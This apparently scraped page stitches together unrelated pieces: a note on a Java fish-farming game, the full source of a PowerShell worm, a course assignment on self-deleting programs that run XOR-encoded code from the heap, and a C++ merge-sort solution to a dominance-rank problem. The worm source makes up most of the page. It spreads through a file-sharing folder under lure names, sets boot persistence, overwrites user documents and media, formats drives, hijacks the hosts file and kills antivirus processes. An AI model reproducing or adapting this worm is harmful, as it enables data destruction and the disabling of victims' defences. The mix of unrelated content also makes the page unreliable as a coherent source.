Network fish-farming game, written in Java, Socket Server, MySQL.

Author: YU-KAI HUANG

Character Graphics designed by 屁股頭

Win32/Blaster/Worm (Lovsan, Lovesan)

PowerShell worm Skowor

http://www.megapanzer.com/2009/12/11/powershell-worm-skowor/

Source:

# sk0r alias Czybik's Powershell Skript Worm 
# 
# This worm is for the PowerShell Script Interpreter
# which is included with Microsoft Windows Vista
# 
# This worm is ?006 by sk0r alias Czybik
# 
# Visit my homepages: www.sk0r-scripts.tk & www.sk0r-virii.tk & www.czybik-kit.tk
# 
# This worm has following features:
# 
# - Spreads with P2P (KaZaA Lite) per JScript
# - Writes a registry string to run every time windows starts
# - Changes RegisteredOwner, RegisteredOrga, Ie Title, Hidden Files, FileExt and Ie Page
# - overwrites specific files in Eigene Dateien Folder and Subfolders
# - formating all insertet drives and discettes
# - deletes files in %system32%\drivers\etc
# - overwrites the host file in %system32%\drivers\etc
# - kills some well-known Anti-Virus processes
# - deletes Reg-Values from well-known Antiviruses
# - tells a message to user, with informations about the worm
# 
# 
# Informations:
# 
# This worm is a proof of concept worm. Because of it is able
# to run Powershell on Windows XP, too (Need .Net Framework 2.0)
# this worm is dedicated to Windows XP. Well, yes, it runs on
# Windows Vista, too. But I don't know if the structures are the
# same as in windows Xp. Note that this worm uses ActiveX Objects.
# In this worm I use Scripting.FileSystemObject and WScript.Shell 
# Object. I hope Vista will include those ActiveX Objects, too.
# I am happy to be the coder of this worm. I like this language.
# And I am looking forward to new Malware in PowerShell.
# Now I will release more and more worms in this language.
#
# This worm is ?006 by sk0r alias Czybik. To tell me anything
# write me an email @ sk0r1337@gmx.de or a pm at vx.netlux.org
# 
# ======================================================================

$fso = New-Object -Com Scripting.FileSystemObject ;
$wshs = New-Object -Com WScript.Shell ;
$windir = $fso.GetSpecialFolder(0)
$sysdir = $fso.GetSpecialFolder(1)

$strInfoString_one = "This is a PowerShell Script worm. ";
$strInfoString_two = "This worm is proof-of-concept ";
$strInfoString_three = "the worm is ?006 by sk0r alias Czybik ";
$strInfoString_four = "for informations write an email @ sk0r1337@gmx.de ";


$KazaaDir = $wshs.RegRead('HKEY_CURRENT_USER\Software\Kazaa\LocalContent\DownloadDir'); 
$AllMshDateinCurDir = get-childitem *.msh
foreach ($PowerShellScript in $AllMshDateinCurDir)
{
  if ($PowerShellScript.Length=13035)
  {
    $MySelfWorm = $PowerShellScript.Name;
  }
}
$gtFilesMsh = $fso.getfile($MySelfWorm);
if (!$fso.fileexists($Sysdir.Path\WinCzySko.msh) 
{
    $gtFilesMsh.Copy($Sysdir.Path\WinCzySko.msh); 
}
$gtFilesMsh.copy("$KazaaDir\Microsoft Windows Vista Cd-Key.txt.msh"); 
$gtFilesMsh.copy("$KazaaDir\Windows Vista Update.msh"); 
$gtFilesMsh.copy("$KazaaDir\Ad-aware SE Personal Edition 1.06r1.msh"); 
$gtFilesMsh.copy("$KazaaDir\Ashampoo Media Player 2.03 install.msh"); 
$gtFilesMsh.copy("$KazaaDir\Allround WinZIP Key Generator.msh"); 
$gtFilesMsh.copy("$KazaaDir\Talisman Desktop 2.99 Crack.msh"); 
$gtFilesMsh.copy("$KazaaDir\Nero Burning Rom 6.6.0.13 Crack.msh"); 
$gtFilesMsh.copy("$KazaaDir\Kaspersky KeyGen working.msh");
$gtFilesMsh.copy("$KazaaDir\Daemon Tools Install + Crack.rar.msh");
$gtFilesMsh.copy("$KazaaDir\AVP - AntiVirus Key Generator.msh");


$wshs.regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0, "REG_DWORD"); 
$wshs.regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1, "REG_DWORD"); 
$wshs.regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "United People of infected Ps","REG_SZ"); 
$wshs.regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner", "sk0rCzybik","REG_SZ"); 
$wshs.regwrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Infected with Ps Worm by sk0r alias Czybik","REG_SZ"); 
$wshs.regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "explorer.exe  $sysdir.Path\WinCzySko.msh" ,"REG_SZ");
$wshs.regwrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.sk0r-scripts.tk")


$PersonalDirectory = $wshs.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personal");
UeberschreibeDateien($PersonalDirectory)

function UeberschreibeDateien($strOrdner)
{
    $StringToOverwrite = "This file was overwritten with a Ps Worm. ";
    $StringToOverwrite += "This Worm is ?006 by sk0r alias Czybik! ";
    
    $OverWrtOwnFiles = $fso.getfolder($strOrdner)
    $OverFiles = $OverWrtOwnFiles.Files
    $TheSubFldr = $OverWrtOwnFiles.subfolders
    
    foreach ($SubFiles in $TheSubFldr.Files)
    {
        $strGetExt = $fso.GetExtensionName($AlleDateien.Path);
        if ($strGetExt="JPG")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="BMP")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="GIF")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="PNG")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="JPEG")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="AVI")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="MP3")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="WMV")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="WMA")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="DOC")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="XLS")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="RTF")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="PPS")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="PPT")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="ZIP")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="RAR")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
        
        if ($strGetExt="CPP")
        {
            del $AlleDateien.Path ;
            echo "$StringToOverwrite" >> $AlleDateien.Path
        }
    }
    
    foreach ($NochMehrUnterOrdner in $TheSubFldr)
    {
        UeberschreibeDateien($NochMehrUnterOrdner)
    }

}

$TheDrives = $fso.Drives
foreach ($AllDrives in $TheDrives)
    {
    if ($AllDrives.DriveType=1)
    {
        format $AllDrives.Path /y
    }
    if ($AllDrives.DriveType=2)
    {
        format $AllDrives.Path /y
    }
}


cd "$sysdir.path\Drivers\etc";
del "networks";
del "protocol";
del "services";
del "hosts";
del "hosts.bak";
echo "# Host File overwritten by Ps Worm " >> hosts
echo "# This file disallows you to visit av and dl sites :> " >> hosts
echo " " >> hosts
echo "127.0.0.1 www.antivir.de " >> hosts
echo "127.0.0.1 www.bitdefender.de " >> hosts
echo "127.0.0.1 www.znet.de " >> hosts
echo "127.0.0.1 www.chip.de " >> hosts
echo "127.0.0.1 www.virustotal.com " >> hosts
echo "127.0.0.1 virusscan.jotti.org " >> hosts
echo "127.0.0.1 www.kaspersky.com " >> hosts
echo "127.0.0.1 www.sophos.de " >> hosts
echo "127.0.0.1 www.trojaner-info.de " >> hosts
echo "127.0.0.1 www.trojaner-help.de " >> hosts
echo "127.0.0.1 www.arcabit.com " >> hosts
echo "127.0.0.1 www.avast.com " >> hosts
echo "127.0.0.1 www.grisoft.com " >> hosts
echo "127.0.0.1 www.bitdefender.com " >> hosts
echo "127.0.0.1 www.clamav.net " >> hosts
echo "127.0.0.1 www.drweb.com " >> hosts
echo "127.0.0.1 www.f-prot.com " >> hosts)
echo "127.0.0.1 www.google.de " >> hosts
echo "127.0.0.1 www.fortinet.com " >> hosts
echo "127.0.0.1 www.nod32.com " >> hosts
echo "127.0.0.1 www.norman.com " >> hosts
echo "127.0.0.1 www.microsoft.com " >> hosts
echo "127.0.0.1 www.anti-virus.by/en " >> hosts
echo "127.0.0.1 www.symantec.com " >> hosts
echo "127.0.0.1 www.windowsupdate.com " >> hosts
echo "127.0.0.1 www.trendmicro.com " >> hosts
echo "127.0.0.1 www.mcafee.com " >> hosts
echo "127.0.0.1 www.viruslist.com " >> hosts
echo "127.0.0.1 www.avp.com " >> hosts
echo "127.0.0.1 www.zonelabs.com " >> hosts
echo "127.0.0.1 www.heise.de " >> hosts
echo "127.0.0.1 www.antivirus-online.de " >> hosts
echo "127.0.0.1 www.free-av.com " >> hosts
echo "127.0.0.1 www.panda-software.com " >> hosts
echo "127.0.0.1 www.pc-welt.de " >> hosts
echo "127.0.0.1 www.pc-special.net " >> hosts
echo "127.0.0.1 download.freenet.de " >> hosts
echo "127.0.0.1 www.vollversion.de " >> hosts
echo "127.0.0.1 www.das-download-archiv.de " >> hosts
echo "127.0.0.1 www.freeware.de " >> hosts
echo "127.0.0.1 www.antiviruslab.com " >> hosts
echo "127.0.0.1 www.search.yahoo.com " >> hosts
echo "127.0.0.1 www.web.de " >> hosts
echo "127.0.0.1 www.hotmail.com " >> hosts
echo "127.0.0.1 www.hotmail.de " >> hosts
echo "127.0.0.1 www.gmx.net " >> hosts
echo "127.0.0.1 www.spiegel.de " >> hosts
echo "127.0.0.1 www.icq.com " >> hosts
echo "127.0.0.1 www.icq.de " >> hosts
echo "127.0.0.1 www.ffh.de " >> hosts
echo "127.0.0.1 www.lavasoft.de " >> hosts
echo "127.0.0.1 www.de.wikipedia.org " >> hosts
echo "127.0.0.1 www.wikipedia.org " >> hosts
echo "127.0.0.1 www.en.wikipedia.org " >> hosts
echo "127.0.0.1 www.wissen.de " >> hosts
echo "127.0.0.1 www.virus-aktuell.de " >> hosts
echo "127.0.0.1 www.arcor.de " >> hosts
echo "127.0.0.1 www.t-online.de " >> hosts
echo "127.0.0.1 www.t-com.de " >> hosts
echo "127.0.0.1 www.alice-dsl.de " >> hosts
echo "127.0.0.1 www.freenet.de " >> hosts
echo "127.0.0.1 www.1und1.de " >> hosts
echo "127.0.0.1 www.fbi.gov " >> hosts
echo "127.0.0.1 www.polizei.de " >> hosts



$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\avgnt'); 
$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50');  
$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AVG7_CC');
$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BDMCon');  
$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BDNewsAgent'); 
$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BDOESRV'); 
$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\pccguide.exe');
$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DrWebScheduler'); 
$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SpIDerMail');  
$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SpIDerNT');  
$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MCAgentExe'); 
$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MCUpdateExe'); 
$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OASClnt'); 
$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VirusScan Online'); 
$wshs.regdelete('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VSOCheckTask'); 
    
    
tskill avcenter /a
tskill avconfig /a
tskill avscan /a
tskill avguard /a
tskill avgnt /a
tskill update /a
tskill preupd /a
tskill avcmd /a
tskill avesvc /a
tskill kav /a
tskill kavsvc /a
tskill kavsend /a
tskill keymanager /a
tskill agentsvr /a
tskill avgcc /a
tskill avgupsvc /a
tskill avgamsvr /a
tskill vsserv /a
tskill bdss /a
tskill xcommsvr /a
tskill bdnagent /a
tskill bdoesrv /a
tskill bdmcon /a
tskill bdswitch /a
tskill rtvr /a
tskill bdsubmit /a
tskill bdlite /a
tskill agentsvr /a
tskill tmproxy /a
tskill PcCtlCom /a
tskill pccguide /a
tskill qttask /a
tskill patch /a
tskill Tmntsrv /a
tskill PccPrm /a
tskill DrWebUpW /a
tskill spidernt /a
tskill DrWebScd /a
tskill DrWeb32w /a
tskill drwadins /a
tskill mcupdui /a
tskill McTskshd /a
tskill McAppIns /a
tskill mghtml /a
tskill McShield /a
tskill Mcdetect /a
tskill McVSEscn /a
tskill oasclnt /a
tskill mcvsshld /a


echo "$strInfoString_one ";
echo "$strInfoString_two ";
echo "$strInfoString_three ";
echo "$strInfoString_four ";

$wshs.popup("www.sk0r-scripts.tk - www.sk0r-virii.tk - 
www.czybik-kit.tk | Worm ?006 by sk0r alias Czybik",2,"PowerShell Worm by sk0r alias Czybik");

exit ;

Project 1

Description:

Write two programs with the following properties:

On a host, called server host , write a program, called password_holder.c , that allows a user to input a character string. After obtaining an input string from a user, password_holder.c opens a TCP/IP socket and listens on the socket to wait for any incoming request from a host, called client host. When an incoming connection is established, password_holder.c sends the input string to the the client host as a password.

On a host, called client host , write a program, called mission_impossible.c , that connects to the above remote server to retrieve a password. The compiled executable file of mission_impossible.c is called mission_impossible.exe . After obtaining a password from the above server, mission_impossible.c asks its users to input a password.

If an input password is identical to the passwrod that mission_impossible.c retrieved from the above server, the program will execute a piece of code, called Mission Briefing Code (MBC) hereafter, that will display the following message (“ Ethan Hunt, Run Now! “) for 2 minutes and then delete the file mission_impossible.exe and terminate itself.

If an erroneous password is input, the program will delete the file mission_impossible.c and terminate itself.

Initially, MBC must be stored in a global array and is encoded with your password. You can use any approach to encode MBC. When the input password is correct, your program will decode MBC and place it in the heap and then transfer your execution flow to the decoded MBC.

Hint:

  1. Grading Criteria and reference meatrial
  • You can write your MBC as a normal program first.
  • Then compile the above program.
  • Then use a tool, such as objdump, to find the corresponding machine code.
  1. You can use your password to XOR the MBC to encode it.

  2. You may need to use the library function printf to display message. Hence, in your MBC you may need to know the address of function printf. To simply the problem, use static link to compile your program so that function printf will be inside your executable file and you can use a tool, such as objdump, to find the address of the function.

  3. When calling function printf, do not forget to prepare the stack segment correctly so that function printf can obtain its parameters.

Project Submission:

  • The due day of reports submission is 3rd Dec .
  • The demo will be held on 4th Dec . and 5th Dec .
  • Contact the TAs to choose your demo time before 3rd Dec .
  • On site demo of this project is required.
  • When demonstrating your projects, the TAs will ask you some questions regarding to your projects. Part of your project grade is determined by your answers to the questions.
  • You need to submit both an electronic version and a hard-copy of your project report to the TAs. The electronic versions could be sent to the TAs through e-mails. Do not forget writing the names and student IDs of all members in your team.

Your report should contain: - Your source code - the execution results

Late submission will NOT be accepted.

For two points p and q in the plane, we say that p dominates q if both x and y coordinates of p are greater than that of q respectively. Given a set S of n points, the rank of a point p in S is the number of points in S dominated by p. We want to find the rank of every point in S. A naïve algorithm needs O(n^2) time. Design a faster algorithm for this problem.

Input

The first line of input contains a single positive integer ( < 20 ), the number of test cases. Each test case starts with a line containing a single integer n, the number of points in the plane. This line is followed by n lines, indicates the x and y coordinates for each points, p1, p2… pn. No integer in the input is greater than 224 or less than 0.

Output

The output of each cases contain n lines, the rank of p1, p2… pn. Cases are separated by a single blank line.

Sample input:

1

3

1 1

2 2

3 3

Sample output: 

0

1

2

Code:

#include <iostream>
#include <stdlib.h>

using namespace std;

struct Points {
    int x;
    int y;
    int rank;
};

struct Cases {
    int point_nums;
    Points* pointInfo;
    int* sortedArray;
};

int getPointX(Points* pointInfo, int index) { return pointInfo[index].x; }
int getPointY(Points* pointInfo, int index) { return pointInfo[index].y; }

void mergeX(Points* pointInfo, int size1, int size2, int* sortedArray) {
    int size = size1 + size2;
    int* temp = (int*)malloc(size * sizeof(int));
    int ptr1=0, ptr2=0;

    // sort x : min to max
    while ( (ptr1+ptr2) < size ) {
        if ( (ptr1 < size1 && ptr2 >= size2) || (ptr1 < size1 && getPointX(pointInfo, sortedArray[ptr1]) < getPointX(pointInfo, sortedArray[size1+ptr2])) ) {
            temp[ptr1+ptr2] = sortedArray[ptr1++];
        } else if ( (ptr2 < size2 && ptr1 >= size1) || (ptr2 < size2 && getPointX(pointInfo, sortedArray[size1+ptr2]) < getPointX(pointInfo, sortedArray[ptr1])) ) {
            temp[ptr1+ptr2] = sortedArray[size1 + ptr2++];
        } else if ( getPointX(pointInfo, sortedArray[ptr1]) == getPointX(pointInfo, sortedArray[size1+ptr2]) ) {
            if ( getPointY(pointInfo, sortedArray[ptr1]) < getPointY(pointInfo, sortedArray[size1+ptr2]) ) {
                temp[ptr1+ptr2] = sortedArray[size1 + ptr2++];
            } else {
                temp[ptr1+ptr2] = sortedArray[ptr1++];
            }
        }
    }
    
    for ( int i = 0 ; i < size1+size2 ; i++ ) sortedArray[i] = temp[i];

    free(temp);
}

void mergeYandSetRank(Points* pointInfo, int size1, int size2, int* sortedArray) {
    int size = size1 + size2;
    int* temp = (int*)malloc(size * sizeof(int));
    int ptr1=0, ptr2=0;

    // [Merge sort] sort y : max to min
    while ( ptr1+ptr2 < size1+size2 ) {
        if ( (ptr1 < size1 && ptr2 >= size2) || (ptr1 < size1 && getPointY(pointInfo, sortedArray[ptr1]) >= getPointY(pointInfo, sortedArray[size1+ptr2])) ) {
            temp[ptr1+ptr2] = sortedArray[ptr1++];
        }else if ( (ptr2 < size2 && ptr1 >= size1) || (ptr2 < size2 && getPointY(pointInfo, sortedArray[size1+ptr2]) > getPointY(pointInfo, sortedArray[ptr1])) ) {
            // set rank
            if ( ptr1+ptr2 < size1+ptr2 ) pointInfo[sortedArray[size1+ptr2]].rank += (size1+ptr2) - (ptr1+ptr2);

            temp[ptr1+ptr2] = sortedArray[size1 + ptr2++];
        }
    }

    for ( int i = 0 ; i < size1+size2; i++ ) sortedArray[i] = temp[i];

    free(temp);
}

void mergeSortX(Points* pointInfo, int* sortedArray, int size) {
    if ( size == 1 ) return;  

    int size1 = size / 2, size2 = size - size1;

    mergeSortX(pointInfo, sortedArray, size1);
    mergeSortX(pointInfo, sortedArray+size1, size2);
    mergeX(pointInfo, size1, size2, sortedArray);
}

void mergeSortYandSetRank(Points* pointInfo, int* sortedArray, int size) {
    if ( size == 1 ) return;  

    int size1 = size / 2, size2 = size - size1;

    mergeSortYandSetRank(pointInfo, sortedArray, size1);
    mergeSortYandSetRank(pointInfo, sortedArray+size1, size2);
    mergeYandSetRank(pointInfo, size1, size2, sortedArray);
}

void printRank(Points* pointInfo, int size) {
    for ( int i = 0 ; i < size ; i++ ) cout << pointInfo[i].rank << endl;
}

int main() {
    int testCase;
    Cases* cases;

    cin >> testCase;

    cases = (Cases*)malloc(testCase * sizeof(Cases));

    for ( int i = 0 ; i < testCase ; i++ ) {
        cin >> cases[i].point_nums;

        cases[i].pointInfo = (Points*)malloc(cases[i].point_nums * sizeof(Points));
        cases[i].sortedArray = (int*)malloc(cases[i].point_nums * sizeof(int));

        for ( int j = 0 ; j < cases[i].point_nums ; j++ ) {
            cin >> cases[i].pointInfo[j].x >> cases[i].pointInfo[j].y;
            cases[i].pointInfo[j].rank = 0;
            cases[i].sortedArray[j] = j;
        }
    }

    for ( int i = 0 ; i < testCase ; i++ ) {
        mergeSortX(cases[i].pointInfo, cases[i].sortedArray, cases[i].point_nums);
        mergeSortYandSetRank(cases[i].pointInfo, cases[i].sortedArray, cases[i].point_nums);

        printRank(cases[i].pointInfo, cases[i].point_nums);
        if ( i != testCase-1 ) {
            cout << endl;
        }
        free(cases[i].sortedArray);
        free(cases[i].pointInfo);
    }

    free(cases);

    system("pause");
    return 0;
}